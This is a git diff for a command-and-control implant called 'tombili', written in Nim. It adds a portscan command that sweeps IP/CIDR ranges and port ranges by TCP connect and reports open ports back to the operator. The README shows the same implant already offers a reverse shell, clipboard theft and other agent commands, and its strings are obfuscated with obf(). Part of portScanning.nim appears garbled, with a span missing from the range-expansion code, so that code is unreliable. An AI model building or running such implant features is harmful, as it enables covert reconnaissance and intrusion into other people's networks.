diff --git a/implants/tombili/README.md b/implants/tombili/README.md index fec705b..9190300 100644 --- a/implants/tombili/README.md +++ b/implants/tombili/README.md @@ -25,6 +25,7 @@ nim c -d:release -d:ssl -o:tombili.exe src/main.nim |`getenv`|Windows, Linux|Get all environment variables|| |`pid`|Windows, Linux|Get the ID of the current process|| |`reverseshell`|Windows, Linux|Start a reverse shell|ip: str, port: int| +|`portscan`|Windows, Linux|Scan a range of ports on a range of IPs|ip_range: str, port_range: str| |`msgbox`|Windows|Display a message box|title: str, body: str| |`getclipboard`|Windows|Get the contents of the clipboard|| |`kill`|Windows, Linux|Kill the agent|| diff --git a/implants/tombili/src/commands.nim b/implants/tombili/src/commands.nim index b9435d1..6981220 100644 --- a/implants/tombili/src/commands.nim +++ b/implants/tombili/src/commands.nim @@ -143,6 +143,19 @@ when defined(linux): ) ) + # portscan + commands.add( + Command( + command: obf("portscan"), + description: obf("Scan a range of ports on a range of IPs"), + args: @[ + CommandArgument(name: obf("ip_range"), arg_type: obf("str"), description: obf("The IP range to scan"), required: true), + CommandArgument(name: obf("port_range"), arg_type: obf("str"), description: obf("The port range to scan"), required: true) + ], + function: shared.portScan + ) + ) + # pid commands.add( Command( diff --git a/implants/tombili/src/portScanning.nim b/implants/tombili/src/portScanning.nim new file mode 100644 index 0000000..95a2e8b --- /dev/null +++ b/implants/tombili/src/portScanning.nim @@ -0,0 +1,81 @@ +import net +import strutils + +import utils + +type + PortScanResult* = object + ip*: string + port*: int + status*:string + +proc expandIpRange*(ipOrCidr: string): seq[string] = + ## Expand IP address or CIDR notation into list of IPs + result = @[] + + if "/" in ipOrCidr: + # CIDR notation - expand subnet + let parts = ipOrCidr.split("/") + if parts.len != 2: + return @[ipOrCidr] # Invalid, return as-is + + var baseIp = parts[0] + var prefixLen = try: parseInt(parts[1]) except: 32 + + # For simplicity, only support /24 and larger subnets + if prefixLen >= 24: + let ipParts = baseIp.split(".") + if ipParts.len != 4: + return @[ipOrCidr] + + var base = ipParts[0] & "." & ipParts[1] & "." & ipParts[2] & "." + var hostBits = 32 - prefixLen + var numHosts = 1 shl hostBits + + for i in 1.. 0 and stop > 0 and start <= stop: + for p in start..stop: + if p > 0 and p <= 65535: + result.add(p) + else: + let port = try: parseInt(trimmed) except: 0 + if port > 0 and port <= 65535: + result.add(port) + +proc scanPorts*(ips: seq[string], ports: seq[int]): seq[PortScanResult] = + var results: seq[PortScanResult] + var portStatus: string + + for ip in ips: + for port in ports: + try: + var socket: Socket = newSocket() + socket.connect(ip, Port(port), timeout=100) + socket.close() + portStatus = obf("OPEN") + except: + portStatus = obf("CLOSED") + + results.add(PortScanResult(ip: ip, port: port, status: portStatus)) + + return results diff --git a/implants/tombili/src/shared.nim b/implants/tombili/src/shared.nim index 004b44e..882b4cb 100644 --- a/implants/tombili/src/shared.nim +++ b/implants/tombili/src/shared.nim @@ -6,6 +6,7 @@ import threadpool import sleep import revShell import utils +import portScanning const DATE_FORMAT: string = obf("yyyy-MM-dd'T'HH:mm:ss") @@ -135,6 +136,33 @@ proc pid*(task: JsonNode): string = except Exception as e: return obf("Failed to get the PID: ") & e.msg +proc portScan*(task: JsonNode): string = + var args: seq[JsonNode] = task[obf("args")].getElems + var ipsRange: string = args[0].getStr + var portsRange: string = args[1].getStr + + var ips: seq[string] = expandIpRange(ipsRange) + var ports: seq[int] = expandPortRange(portsRange) + + if ips.len == 0: + return obf("No IPs selected, scan aborted") + + if ports.len == 0: + return obf("No ports selected, scann aborted") + + var results: seq[PortScanResult] + + try: + results = scanPorts(ips, ports) + except Exception as e: + return obf("An error occured while scanning the ports: ") & e.msg + + var resultString: string = obf("Scan results:") + for scan in results: + resultString = resultString & "\n\t" & scan.ip & ":" & $scan.port & obf(" -> ") & scan.status + + return resultString + proc sleepThenQuit(): void = sleep(1000) quit(0)